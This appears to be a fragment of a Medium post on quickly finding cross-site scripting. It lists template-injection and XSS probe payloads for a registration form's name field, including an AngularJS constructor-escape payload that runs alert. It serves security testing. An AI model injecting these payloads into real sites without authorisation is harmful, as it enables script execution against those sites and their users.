Registration Form

In name field:

"{{7*7}}<img>
"">{{7*7}}<img>"

XSS

{{constructor.constructor('alert(`XSS`)')()}}

An unusual way to find XSS injection in one minuteMedium